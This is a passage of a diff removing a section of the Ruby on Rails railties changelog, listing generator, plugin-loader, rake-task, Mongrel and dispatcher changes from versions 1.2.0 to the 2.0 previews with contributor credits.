-* Refactor Plugin Loader. Add plugin lib paths early, and add lots of tests. Closes #9795 [James Adam]
-
-* Added --skip-timestamps to generators that produce models #10036 [Tim Pope]
-
-* Update Prototype to 1.6.0 and script.aculo.us to 1.8.0. [sam, madrobby]
-
-* Added db:rollback to rollback the schema one version (or multiple as specified by STEP) [Jeffrey Allan Hardy]
-
-* Fix typo in test_helper. Closes #9925 [viktor tron]
-
-* Request profiler. [Jeremy Kemper]
-
-* config/boot.rb correctly detects RAILS_GEM_VERSION. #9834 [alexch, thewoolleyman]
-
-* Fixed incorrect migration number if script/generate executed outside of Rails root #7080 [Jeremy McAnally]
-
-* Update Prototype to 1.6.0_rc1 and script.aculo.us to 1.8.0 preview 0. [sam, madrobby]
-
-* Generated fixtures use the actual primary key instead of id. #4343 [Frederick Ros, Tarmo Tänav]
-
-* Extend the console +helper+ method to allow you to include custom helpers. e.g:
- >> helper :posts
- >> helper.some_method_from_posts_helper(Post.find(1))
-
-* db:create works with remote databases whereas db:create:all only creates
-databases on localhost. #9753 [Trevor Wennblom]
-
-* Removed calls to fixtures in generated tests as fixtures :all is now present by default in test_helper.rb [David Heinemeier Hansson]
-
-* Add --prefix option to script/server when using mongrel. [dacat]
-
-
-*2.0.0 [Preview Release]* (September 29th, 2007) [Includes duplicates of changes from 1.1.4 - 1.2.3]
-
-* Fixed that installing plugins from SVN repositories that use trunk/ will work #8188 [evan]
-
-* Moved the SourceAnnotationExtractor to a separate file in case libraries try to load the rails rake tasks twice. [Rick Olson]
-
-* Moved Dispatcher to ActionController::Dispatcher. [Jeremy Kemper]
-
-* Changed the default logger from Ruby's own Logger with the clean_logger extensions to ActiveSupport::BufferedLogger for performance reasons [David Heinemeier Hansson]. (You can change it back with config.logger = Logger.new("/path/to/log", level).)
-
-* Added a default 422.html page to be rendered when ActiveRecord::RecordInvalid, ActiveRecord::RecordNotSaved, or ActionController::InvalidAuthenticityToken is raised [David Heinemeier Hansson]
-
-* Added --skip-fixture option to script/generate model #6862 [sandofsky]
-
-* Print Rails version when starting console #7440 [eyematz]
-
-* Fixed the placement of fixture files for nested models when generating through script/generate model #7547 [jkit]
-
-* Added TEMPLATE option to rake doc:app to set a custom output template #7737 [Jakob Skjerning]
-
-* Added VERBOSE option to rake db:migrate to turn off output #8204 [John Barnette]
-
-* Fixed that rake doc:app should use UTF-8 #8906 [farzy]
-
-* Fixes rake annotations to search erb and builder files as well #9150 [m.langenberg]
-
-* Removed web_service generator [Michael Koziarski]
-
-* Added the :all option to config.plugins that'll include the rest of the plugins not already explicitly named #9613 [Frederick Cheung]. Example:
-
- # Loads :classic_pagination before all the other plugins
- config.plugins = [ :classic_pagination, :all ]
-
-* Added symbols as a legal way of specifying plugins in config.plugins #9629 [tom]
-
-* Removed deprecated task names, like clear_logs, in favor of the new namespaced style [David Heinemeier Hansson]
-
-* Support multiple config.after_initialize blocks so plugins and apps can more easily cooperate. #9582 [Zach Dennis]
-
-* Added db:drop:all to drop all databases declared in config/database.yml [David Heinemeier Hansson]
-
-* Use attribute pairs instead of the migration name to create add and remove column migrations. Closes #9166 [Pratik Naik]
-
- For example:
-
- ruby script/generation migration AddSomeStuffToCustomers first_name:string last_name:string
-
- or
-
- ruby script/generation migration RemoveSomeStuffFromCustomers first_name:string last_name:string
-
-* Add ActiveResource to Rails::Info. Closes #8741 [Chris Kampmeier]
-
-* use Gem.find_name instead of search when freezing gems. Prevent false positives for other gems with rails in the name. Closes #8729 [wselman]
-
-* Automatically generate add/remove column commands in specially named migrations like AddLocationToEvent. Closes #9006 [Ryan Davis]
-
-* Default to plural table name in Rails Generator if ActiveRecord is not present. Closes #8963 [evan]
-
-* Added rake routes for listing all the defined routes in the system. #8795 [Josh Peek]
-
-* db:create creates the database for the current environment if it's on localhost. db:create:all creates local databases for all environments. #8783 [matt]
-
-* Generators: look for generators in all gems, not just those suffixed with _generator, in the gem's generators or rails_generators directory. Allow use of the rails_generators directory instead of the standard generators directory in plugins also. #8730 [Dr Nic, topfunky]
-
-* MySQL, PostgreSQL: database.yml defaults to utf-8. #8701 [matt]
-
-* Added db:version to get the current schema number [via Err The Blog]
-
-* Added --skip-migration option to scaffold and resource generators #8656 [Michael Glaesemann]
-
-* Fix that FCGIs would leave log files open when asked to shut down by USR2. #3028 [Sebastian Kanthak, Josh Peek]
-
-* Fixed that dispatcher preparation callbacks only run once in production mode. Mock Routes.reload so that dispatcher preparation callback tests run. [Rick Olson]
-
-* Fix syntax error in dispatcher than wrecked failsafe responses. #8625 [mtitorenko]
-
-* Scaffolded validation errors set the appropriate HTTP status for XML responses. #6946, #8622 [Manfred Stienstra, mmmultiworks]
-
-* Sexy migrations for the session_migration generator. #8561 [Vladislav]
-
-* Console reload! runs to_prepare callbacks also. #8393 [f.svehla]
-
-* Generated migrations include timestamps by default. #8501 [Shane Vitarana]
-
-* Drop Action Web Service from rails:freeze:edge. [Jeremy Kemper]
-
-* Add db:create, drop, reset, charset, and collation tasks. #8448 [matt]
-
-* Scaffold generator depends on model generator instead of duplicating it. #7222 [bscofield]
-
-* Scaffold generator tests. #8443 [pelle]
-
-* Generated scaffold functional tests use assert_difference. #8421 [Norbert Crombach]
-
-* Update to Prototype 1.5.1. [Sam Stephenson]
-
-* Update to script.aculo.us 1.7.1_beta3. [Thomas Fuchs]
-
-* Generators use *.html.erb view template naming. #8278 [Tim Pope]
-
-* Updated resource_scaffold and model generators to use short-hand style migrations [David Heinemeier Hansson]
-
-* Updated initializer to only load #{RAILS_ENV}.rb once. Added deprecation warning for config.breakpoint_server. [Nicholas Seckar]
-
-* Removed breakpointer and Binding.of_caller in favor of relying on ruby-debug by Kent Sibilev since the breakpointer has been broken since Ruby 1.8.4 and will not be coming back [David Heinemeier Hansson]
-
- To use the new debugger, start your server with script/server --debugger and insert a call to 'debugger'
- (instead of 'breakpoint') where you want to jump into the debugger.
-
- BACKWARDS INCOMPATIBILITY NOTE: You must remove the default line 12 from config/environments/development.rb:
-
- config.breakpoint_server = true
-
- This configuration option is no longer available. Rails will fail to start in development mode as long as
- that's still present.
-
-* Resource scaffolding returns the created entity.to_xml. [Jeremy Kemper]
-
-* Resource scaffolding responds to new.xml. #8185 [Eric Mill]
-
-* Include Active Resource in rails:freeze:edge rake task. [Thomas Fuchs]
-
-* Include Active Resource instead of Action Web Service [David Heinemeier Hansson] You can add AWS back with this in config/environment.rb:
-
- config.load_paths += %W( #{RAILS_ROOT}/vendor/rails/actionwebservice/lib )
-
- ...or just gem 'actionwebservice'
-
-* Give generate scaffold a more descriptive database message. Closes #7316 [Jeremy McAnally]
-
-* Canonicalize RAILS_ROOT by using File.expand_path on Windows, which doesn't have to worry about symlinks, and Pathname#realpath elsewhere, which respects symlinks in relative paths but is incompatible with Windows. #6755 [Jeremy Kemper, trevor]
-
-* Deprecation: remove components from controller paths. [Jeremy Kemper]
-
-* Add environment variable RAILS_DEFAULT_DATABASE, which allows the builtin default of 'mysql' to be overridden. [Nicholas Seckar]
-
-* Windows: include MinGW in RUBY_PLATFORM check. #2982 [okkez000@gmail.com, Kaspar Schiess]
-
-* Split out the basic plugin locator functionality into an abstract super class. Add a FileSystemLocator to do the job of checking the plugin_paths for plugins. Add plugin_locators configuration option which will iterate over the set of plugin locators and load each of the plugin loaders they return. Rename locater everywhere to locator. [Marcel Molina Jr.]
-
-* Split plugin location and loading out of the initializer and into a new Plugin namespace, which includes Plugin::Locater and Plugin::Loader. The loader class that is used can be customized using the config.plugin_loader option. Those monkey patching the plugin loading subsystem take note, the internals changing here will likely break your modifications. The good news is that it should be substantially easier to hook into the plugin locating and loading process now. [Marcel Molina Jr.]
-
-* Added assumption that all plugin creators desire to be sharing individuals and release their work under the MIT license [David Heinemeier Hansson]
-
-* Added source-annotations extractor tasks to rake [Jamis Buck]. This allows you to add FIXME, OPTIMIZE, and TODO comments to your source code that can then be extracted in concert with rake notes (shows all), rake notes:fixme, rake notes:optimize and rake notes:todo.
-
-* Added fixtures :all to test_helper.rb to assume that most people just want all their fixtures loaded all the time [David Heinemeier Hansson]
-
-* Added config/initializers where all ruby files within it are automatically loaded after the Rails configuration is done, so you don't have to litter the environment.rb file with a ton of mixed stuff [David Heinemeier Hansson]
-
-* For new apps, generate a random secret for the cookie-based session store. [Jeremy Kemper]
-
-* Stop swallowing errors during rake test [Michael Koziarski]
-
-* Update Rails Initializer to use ActionController::Base#view_paths [Rick Olson]
-
-* Fix gem deprecation warnings, which also means depending on RubyGems 0.9.0+ [Chad Fowler]
-
-* Plugins may be symlinked in vendor/plugins. #4245 [brandon, progrium@gmail.com]
-
-* Resource generator depends on the model generator rather than duplicating it. #7269 [bscofield]
-
-* Add/Update usage documentation for script/destroy, resource generator and scaffold_resource generator. Closes #7092, #7271, #7267. [bscofield]
-
-* Update to script.aculo.us 1.7.0. [Thomas Fuchs]
-
-* Update to Prototype 1.5.0. [Sam Stephenson]
-
-* Generator: use destination path for diff tempfiles. #7015 [alfeld]
-
-* Fixed that webrick would strip leading newlines and hang connection #4156 [psross]
-
-* Ensure plugins are in the Dependencies.load_once_paths collection by default. [Rick Olson]
- If you really want your plugins to reload, add this to the very top of init.rb:
-
- Dependencies.load_once_paths.delete(lib_path)
-
-* Allow config.to_prepare to work, make the dispatcher safe to 're require'. [Michael Koziarski, Nicholas Seckar]
-
-* Fix scaffold_resource generator so it respects the --pretend argument when creating the routes file. Closes #6852 [fearoffish]
-
-* Fix Webrick Daemon dispatching bug regarding a bad current working directory. Closes #4899 [Rick Olson]
-
-* Make config.plugins affect the load path and the dependencies system. Allows you to control plugin loading order, and keep disabled plugins off the load path. [James Adam]
-
-* Don't generate a components directory in new Rails apps. [Jeremy Kemper]
-
-* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) [David Heinemeier Hansson]
-
-* Added one-letter aliases for the three default environments to script/console, so script/console p will load the production environment (t for test, d for development) [David Heinemeier Hansson]
-
-* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment [David Heinemeier Hansson]
-
-* Update initializer to load Rails::VERSION as soon as possible. Closes #6698. [Nicholas Seckar]
-
-* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) [David Heinemeier Hansson]
-
-* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available [David Heinemeier Hansson]
-
-* Update to Prototype and script.aculo.us [5579]. [Thomas Fuchs]
-
-* Made script/server work with -e and -d when using Mongrel [David Heinemeier Hansson]
-
-* Update to Prototype 1.5.0_rc2 [5550] which makes it work in Opera again [Thomas Fuchs]
-
-* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action [Tobias Lütke]
-
-* Rails::VERSION::STRING should always be available without having to require 'rails/version'. #6244 [fearoffish]
-
-* Update to Prototype 1.5.0_rc2. [Sam Stephenson]
-
-* Add grep-based fallback to reaper, to work in pidless setups [Jamis Buck]
-
-* Only wrap request processing with our USR1 signal handler so FastCGI can trap it and raise an exception while waiting for connections. Idle processes exit immediately rather than waiting for another request; active processes gracefully exit when the request is finished. [Jeremy Kemper]
-
-* Alter prior change to use require_dependency instead of require_or_load. Causes ApplicationController to be reloaded again. Closes #6587. [Nicholas Seckar]
-
-* Rake: use absolute paths to load lib and vendor tasks so they may be run outside of RAILS_ROOT. #6584 [jchris]
-
-* Remove temporary crutch to help ApplicationController be unloaded. Closes #6496. [Nicholas Seckar]
-
-* scaffold_resource generator uses _path named routes and head instead of render :nothing => true. #6545 [Josh Susser]
-
-* Generator can show diff on file collision to help you decide whether to skip or overwrite. #6364 [jeffw, Jeremy Kemper]
-
-* Generated directories are recursively svn added, like mkdir -p. #6416 [NeilW]
-
-* resource and scaffold_resource generators add a restful route to config/routes.rb [Jeremy Kemper]
-
-* Revert environment changes for autoload_paths. [Michael Koziarski]
-
-* Update to latest Prototype, which doesn't serialize disabled form elements, adds clone() to arrays, empty/non-string Element.update() and adds a fixes excessive error reporting in WebKit beta versions [Thomas Fuchs]
-
-* Clean up the output of rake stats, de-emphasise components and apis, and remove the indents for tests [Michael Koziarski]
-
-* Added option to script/process/spawner of specifying the binding address #5133 [Dee Zsombor]
-
-* Update environment.rb comments to include config.autoload_paths. Closes #6478 [caio]
-
-* Update scaffold to use new form_tag block functionality. Closes #6480. [Bob Silva]
-
-* Plugin generator: check for class collisions. #4833 [vinbarnes@gmail.com]
-
-* Mailer generator: handle mailers in modules, set mime_version in unit test. [Jeremy Kemper]
-
-* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. [Michael Koziarski]
-
-* Added config.plugins to control which plugins are loaded #6269 [Stefan Kaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example:
-
- config.plugins = %w[ routing_navigator simply_helpful ]
-
-* Clean up html on included error pages. [Tim Lucas]
-
-* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language [David Heinemeier Hansson]
-
-* Update to latest Prototype and script.aculo.us trunk versions [Thomas Fuchs]
-
-* PostgreSQL: db:test:purge closes open database connections first. #6236 [alex]
-
-* Fixed test:uncommitted on Windows (backslash issue) #4999 [paul@paulbutcher.com]
-
-* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 [Bob Silva]
-
-* Fixed rename_table on SQLite tables with indexes defined #5942 [brandon@opensoul.org]
-
-* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations [David Heinemeier Hansson]
-
-* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [David Heinemeier Hansson]. Examples:
-
- ./script/generate model post title:string created_on:date body:text published:boolean
-
-* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined [David Heinemeier Hansson]
-
-* script/runner can run files, pass on arguments, and be used as a shebang. #6286 [Tuxie, dlpond]
- #!/usr/bin/env /path/to/my/app/script/runner
- # Example: just start using your models as if you are in script/console
- Product.find(:all).each { |product| product.check_inventory }
-
-* Look for rake tasks in plugin subdirs. #6259 [obrie]
-
-* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb [David Heinemeier Hansson]
-
-* Updated prototype.js to 1.5.0_rc1 with latest fixes. [Rick Olson]
-
- - XPATH support
- - Make Form.getElements() return elements in the correct order
- - fix broken Form.serialize return
-
-* session_migration generator adds an index on updated_at. #6207 [grg]
-
-* script/server creates the tmp/pids directory. #6204 [jonathan]
-
-* Fix script/console --sandbox for internal transactions changes. #5738 [Chris McGrath, charles.gerungan@gmail.com]
-
-* Remove the uncanny default of adding all app/models/*/ directories to the load path. This change will break application which expect the current behavior. As
-documented in initializer.rb, the workaround is:
-
- config.autoload_paths += Dir[RAILS_ROOT + '/app/models/*/']
-
-References #6031. [Nicholas Seckar]
-
-* Update to script.aculo.us 1.6.3 [Thomas Fuchs]
-
-* Update to Prototype 1.5.0_rc1 [sam]
-
-* Formally Deprecate the old rake tasks. [Michael Koziarski]
-
-* Thoroughly test the FCGI dispatcher. #5970 [Kevin Clark]
-
-* Remove Dir.chdir in the Webrick DispatchServlet#initialize method. Fix bad path errors when trying to load config/routes.rb. [Rick Olson]
-
-* Tighten rescue clauses. #5985 [james@grayproductions.net]
-
-* Cleaning up tests. [Kevin Clark, Jeremy Kemper]
-
-* Add Dependencies.load_once_paths. [Nicholas Seckar]
-
-* Updated to script.aculo.us 1.6.2 [Thomas Fuchs]
-
-* Assign Routing.controller_paths; fix script/about and rails info controller. [Nicholas Seckar]
-
-* Don't warn dispatcher of Reloadable deprecations. [Nicholas Seckar]
-
-* Rearrange application resetting and preparation, fix bug with leaking subclasses hash in ActiveRecord::Base [Rick Olson]
-
- ActiveRecord::Base.reset_subclasses is called before Dependencies are cleared and classes removed.
- ActiveRecord::Base.instantiate_observers is called during a Dispatcher preparation callback.
-
-* Add missing mock directories from the autoload_paths configuration. [Rick Olson]
-
-* Nested controller scaffolding also nests the generated layout. [iain d broadfoot]
-
-* Add "require 'dispatcher'" to webrick server in the continuing quest to squash webrick weirdness. [Nicholas Seckar]
-
-* Add autoload_paths support to Initializer. [Nicholas Seckar]
-
-* Fix Dispatcher.reset_application! so that AR subclasses are removed and Observers re-initialized *after* Reloadable classes are removed. Closes #5743. [Rick Olson]
-
-* Clarify usage of script/plugin source. Closes #5344. [James Adam]
-
-* Add Dispatcher.to_prepare and config.to_prepare to provide a pre-request hook. [Nicholas Seckar]
-
-* Tweak the Rails load order so observers are loaded after plugins, and reloaded in development mode. Closed #5279. [Rick Olson]
-
-* Added that you can change the web server port in config/lighttpd.conf from script/server --port/-p #5465 [mats@imediatec.co.uk]
-
-* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer. #5679 [Shugo Maeda]
-
-* Fixed the failsafe response so it uses either the current recognized controller or ApplicationController. [Rick Olson]
-
-* Make sure script/reaper only reaps dispatcher pids by default, and not the spawner's pid. [Jamis Buck]
-
-* Fix script/plugin about so it uses about.yml and not meta.yml. [James Adam]
-
-* Dispatcher processes rescued actions with the same controller that processed the request. #4625 [sd@notso.net]
-
-* rails -d frontbase to create a new project with a frontbase database.yml. #4945 [mlaster@metavillage.com]
-
-* Ensure the logger is initialized. #5629 [mike@clarkware.com]
-
-* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [David Heinemeier Hansson]. Examples:
-
- spawner # starts instances on 8000, 8001, and 8002 using Mongrel if available
- spawner fcgi # starts instances on 8000, 8001, and 8002 using FCGI
- spawner mongrel -i 5 # starts instances on 8000, 8001, 8002, 8003, and 8004 using Mongrel
- spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to 9109 using Mongrel if available
- spawner -p 9100 -r 5 # starts 3 instances counting from 9100 to 9102 and attempts start them every 5 seconds
-
- Also note that script/process/reaper is Mongrel capable. So the combination of spawner and reaper is a built-in alternative to something like mongrel_cluster.
-
-* Update scaffolding functional tests to use :id => people(:first) instead of :id => 1. #5612 [evan@protest.net]
-
-* db:test:clone should remove existing tables before reloading the schema. #5607 [sveit@tradeharbor.com]
-
-* Fixed migration generation for class names like ACLController #5197 [brad@madriska.com]
-
-* Added show_source_list and show_call_stack to breakpoints to make it easier to get context #5476 [takiuchi@drecom.co.jp]. Examples:
-
- irb(#<TopController:0x40822a68>):002:0> show_source_list
- 0001 class TopController < ApplicationController
- 0002 def show
- 0003-> breakpoint
- 0004 end
- 0005
- 0006 def index
- 0007 end
- 0008
- => "/path/to/rails/root/app/controllers/top_controller.rb"
-
- irb(#<TopController:0x40822a68>):004:0> show_call_stack 3
- vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
- vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
- app/controllers/top_controller.rb:3:in `show'
- => "/path/to/rails/root/app/controllers/top_controller.rb:3"
-
-* Generate scaffold layout in subdirectory appropriate to its module nesting. #5511 [nils@alumni.rice.edu]
-
-* Mongrel: script/server tails the rails log like it does with lighttpd. Prefer mongrel over lighttpd. #5541 [mike@clarkware.com]
-
-* Don't assume Active Record is available. #5497 [bob@sporkmonger.com]
-
-* Mongrel: script/server works on Win32. #5499 [jeremydurham@gmail.com]
-
-* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. [Nick Sieger]
-
-* Mongrel support for script/server. #5475 [jeremydurham@gmail.com]
-
-* Fix script/plugin so it doesn't barf on invalid URLs [Rick Olson]
-
-* Fix plugin install bug at dir with space. (closes #5359) [Yoshimasa NIWA]
-
-* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly. [Rick Olson]
-
-* Added uninstall.rb hook to plugin handling, such that plugins have a way of removing assets and other artifacts on removal #5003 [takiuchi@drecom.co.jp]
-
-* Create temporary dirs relative to RAILS_ROOT when running script/server #5014 [elliot@townx.org]
-
-* Minor tweak to dispatcher to use recognize instead of recognize!, as per the new routes. [Jamis Buck]
-
-* Make "script/plugin install" work with svn+ssh URLs. [Sam Stephenson]
-
-* Added lib/ to the directories that will get application docs generated [David Heinemeier Hansson]
-
-* Add observer generator. Closes #5167. [François Beausoleil]
-
-* Session migration generator obeys pluralize_table_names. #5145 [James Adam]
-
-* rake test:recent understands subdirectories. #2925 [jerrett@bravenet.com]
-
-* The app generator detects the XAMPP package's MySQL socket location. #3832 [elliot@townx.org]
-
-* The app generator sets a session key in application.rb so apps running on the same host may distinguish their cookies. #2967 [rcoder, rails-bug@owl.me.uk]
-
-* Distinguish the spawners for different processes [David Heinemeier Hansson]
-
-* Added -n/--process to script/process/spawner name the process pid (default is dispatch) [David Heinemeier Hansson]
-
-* Namespaced OrderedHash so the Rails implementation does not clash with any others. (fixes #4911) [Julian Tarkhanov]
-
-* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
-
-* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids [David Heinemeier Hansson]
-
-* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids [David Heinemeier Hansson]
-
-
-*1.2.3* (March 12th, 2007)
-
-* Ruby 1.8.6 compatibility
-
-* Windows: include MinGW in RUBY_PLATFORM check. #2982 [okkez000@gmail.com, Kaspar Schiess]
-
-* Stop swallowing errors during rake test [Michael Koziarski]
-
-
-*1.2.2* (February 5th, 2007)
-
-* Fix gem deprecation warnings, which also means depending on RubyGems 0.9.0+ [Chad Fowler]
-
-* Require the dispatcher for Rails::Configuration#to_prepare. [Rick Olson]
-
-
-*1.2.1* (January 16th, 2007)
-
-* Updated to Active Record 1.15.1, Action Pack 1.13.1, Action Mailer 1.3.1, Action Web Service 1.2.1
-
-
-*1.2.0* (January 16th, 2007)
-
-* Update to Prototype 1.5.0. [Sam Stephenson]
-
-* Generator: use destination path for diff tempfiles. #7015 [alfeld]
-
-* Fixed that webrick would strip leading newlines and hang connection #4156 [psross]
-
-* Ensure plugins are in the Dependencies.load_once_paths collection by default. [Rick Olson]
- If you really want your plugins to reload, add this to the very top of init.rb:
-
- Dependencies.load_once_paths.delete(lib_path)
-
-* Fix scaffold_resource generator so it respects the --pretend argument when creating the routes file. Closes #6852 [fearoffish]
-
-* Fix Webrick Daemon dispatching bug regarding a bad current working directory. Closes #4899 [Rick Olson]
-
-* Make config.plugins affect the load path and the dependencies system. Allows you to control plugin loading order, and keep disabled plugins off the load path. [James Adam]
-
-* Don't generate a components directory in new Rails apps. [Jeremy Kemper]
-
-* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) [David Heinemeier Hansson]
-
-* Deprecated the name route "root" as it'll be used as a shortcut for map.connect '' in Rails 2.0 [David Heinemeier Hansson]
-
-* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment [David Heinemeier Hansson]
-
-* Update initializer to load Rails::VERSION as soon as possible. Closes #6698. [Nicholas Seckar]
-
-* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) [David Heinemeier Hansson]
-
-* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available [David Heinemeier Hansson]
-
-* Update to Prototype and script.aculo.us [5579]. [Sam Stephenson, Thomas Fuchs]
-
-* Made script/server work with -e and -d when using Mongrel [David Heinemeier Hansson]
-
-* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action [Tobias Lütke]
-
-* Rails::VERSION::STRING should always be available without having to require 'rails/version'. #6244 [fearoffish]
-
-* Add grep-based fallback to reaper, to work in pidless setups [Jamis Buck]
-
-* Only wrap request processing with our USR1 signal handler so FastCGI can trap it and raise an exception while waiting for connections. Idle processes exit immediately rather than waiting for another request; active processes gracefully exit when the request is finished. [Jeremy Kemper]
-
-* Alter prior change to use require_dependency instead of require_or_load. Causes ApplicationController to be reloaded again. Closes #6587. [Nicholas Seckar]
-
-* Rake: use absolute paths to load lib and vendor tasks so they may be run outside of RAILS_ROOT. #6584 [jchris]
-
-* scaffold_resource generator uses _path named routes and head instead of render :nothing => true. #6545 [Josh Susser]
-
-* Generator can show diff on file collision to help you decide whether to skip or overwrite. #6364 [jeffw, Jeremy Kemper]
-
-* Generated directories are recursively svn added, like mkdir -p. #6416 [NeilW]
-
-* resource and scaffold_resource generators add a restful route to config/routes.rb [Jeremy Kemper]
-
-* Revert environment changes for autoload_paths. [Michael Koziarski]
-
-* Clean up the output of rake stats, de-emphasise components and apis, and remove the indents for tests [Michael Koziarski]
-
-* Added option to script/process/spawner of specifying the binding address #5133 [Dee Zsombor]
-
-* Update environment.rb comments to include config.autoload_paths. Closes #6478 [caio]
-
-* Update scaffold to use new form_tag block functionality. Closes #6480. [Bob Silva]
-
-* Plugin generator: check for class collisions. #4833 [vinbarnes@gmail.com]
-
-* Mailer generator: handle mailers in modules, set mime_version in unit test. [Jeremy Kemper]
-
-* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. [Michael Koziarski]
-
-* Added config.plugins to control which plugins are loaded #6269 [Stefan Kaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example:
-
- config.plugins = %w[ routing_navigator simply_helpful ]
-
-* Clean up html on included error pages. [Tim Lucas]
-
-* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language [David Heinemeier Hansson]
-
-* Update to latest Prototype and script.aculo.us trunk versions [Thomas Fuchs]
-
-* PostgreSQL: db:test:purge closes open database connections first. #6236 [alex]
-
-* Fixed test:uncommitted on Windows (backslash issue) #4999 [paul@paulbutcher.com]
-
-* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 [Bob Silva]
-
-* Fixed rename_table on SQLite tables with indexes defined #5942 [brandon@opensoul.org]
-
-* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations [David Heinemeier Hansson]
-
-* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [David Heinemeier Hansson]. Examples:
-
- ./script/generate model post title:string created_on:date body:text published:boolean
-
-* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined [David Heinemeier Hansson]
-
-* script/runner can run files, pass on arguments, and be used as a shebang. #6286 [Tuxie, dlpond]
- #!/usr/bin/env /path/to/my/app/script/runner
- # Example: just start using your models as if you are in script/console
- Product.find(:all).each { |product| product.check_inventory }
-
-* Look for rake tasks in plugin subdirs. #6259 [obrie]
-
-* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb [David Heinemeier Hansson]
-
-* session_migration generator adds an index on updated_at. #6207 [grg]
-
-* script/server creates the tmp/pids directory. #6204 [jonathan]
-
-* Fix script/console --sandbox for internal transactions changes. #5738 [Chris McGrath, charles.gerungan@gmail.com]
-
-* Remove the uncanny default of adding all app/models/*/ directories to the load path. This change will break application which expect the current behavior. As
-documented in initializer.rb, the workaround is:
-
- config.autoload_paths += Dir[RAILS_ROOT + '/app/models/*/']
-
-References #6031. [Nicholas Seckar]
-
-* Update to script.aculo.us 1.6.3 [Thomas Fuchs]
-
-* Formally Deprecate the old rake tasks. [Michael Koziarski]
-
-* Thoroughly test the FCGI dispatcher. #5970 [Kevin Clark]
-
-* Remove Dir.chdir in the Webrick DispatchServlet#initialize method. Fix bad path errors when trying to load config/routes.rb. [Rick Olson]
-
-* Tighten rescue clauses. #5985 [james@grayproductions.net]
-
-* Cleaning up tests. [Kevin Clark, Jeremy Kemper]
-
-* Add Dependencies.load_once_paths. [Nicholas Seckar]
-
-* Assign Routing.controller_paths; fix script/about and rails info controller. [Nicholas Seckar]
-
-* Don't warn dispatcher of Reloadable deprecations. [Nicholas Seckar]
-
-* Rearrange application resetting and preparation, fix bug with leaking subclasses hash in ActiveRecord::Base [Rick Olson]
-
- ActiveRecord::Base.reset_subclasses is called before Dependencies are cleared and classes removed.
- ActiveRecord::Base.instantiate_observers is called during a Dispatcher preparation callback.
-
-* Add missing mock directories from the autoload_paths configuration. [Rick Olson]
-
-* Nested controller scaffolding also nests the generated layout. [iain d broadfoot]
-
-* Add "require 'dispatcher'" to webrick server in the continuing quest to squash webrick weirdness. [Nicholas Seckar]
-
-* Add autoload_paths support to Initializer. [Nicholas Seckar]
-
-* Fix Dispatcher.reset_application! so that AR subclasses are removed and Observers re-initialized *after* Reloadable classes are removed. Closes #5743. [Rick Olson]
-
-* Clarify usage of script/plugin source. Closes #5344. [James Adam]
-
-* Add Dispatcher.to_prepare and config.to_prepare to provide a pre-request hook. [Nicholas Seckar]
-
-* Tweak the Rails load order so observers are loaded after plugins, and reloaded in development mode. Closed #5279. [Rick Olson]
-
-* Added that you can change the web server port in config/lighttpd.conf from script/server --port/-p #5465 [mats@imediatec.co.uk]
-
-* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer. #5679 [Shugo Maeda]
-
-* Fixed the failsafe response so it uses either the current recognized controller or ApplicationController. [Rick Olson]
-
-* Make sure script/reaper only reaps dispatcher pids by default, and not the spawner's pid. [Jamis Buck]
-
-* Fix script/plugin about so it uses about.yml and not meta.yml. [James Adam]
-
-* Dispatcher processes rescued actions with the same controller that processed the request. #4625 [sd@notso.net]
-
-* rails -d frontbase to create a new project with a frontbase database.yml. #4945 [mlaster@metavillage.com]
-
-* Ensure the logger is initialized. #5629 [mike@clarkware.com]
-
-* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [David Heinemeier Hansson]. Examples:
-
- spawner # starts instances on 8000, 8001, and 8002 using Mongrel if available
- spawner fcgi # starts instances on 8000, 8001, and 8002 using FCGI
- spawner mongrel -i 5 # starts instances on 8000, 8001, 8002, 8003, and 8004 using Mongrel
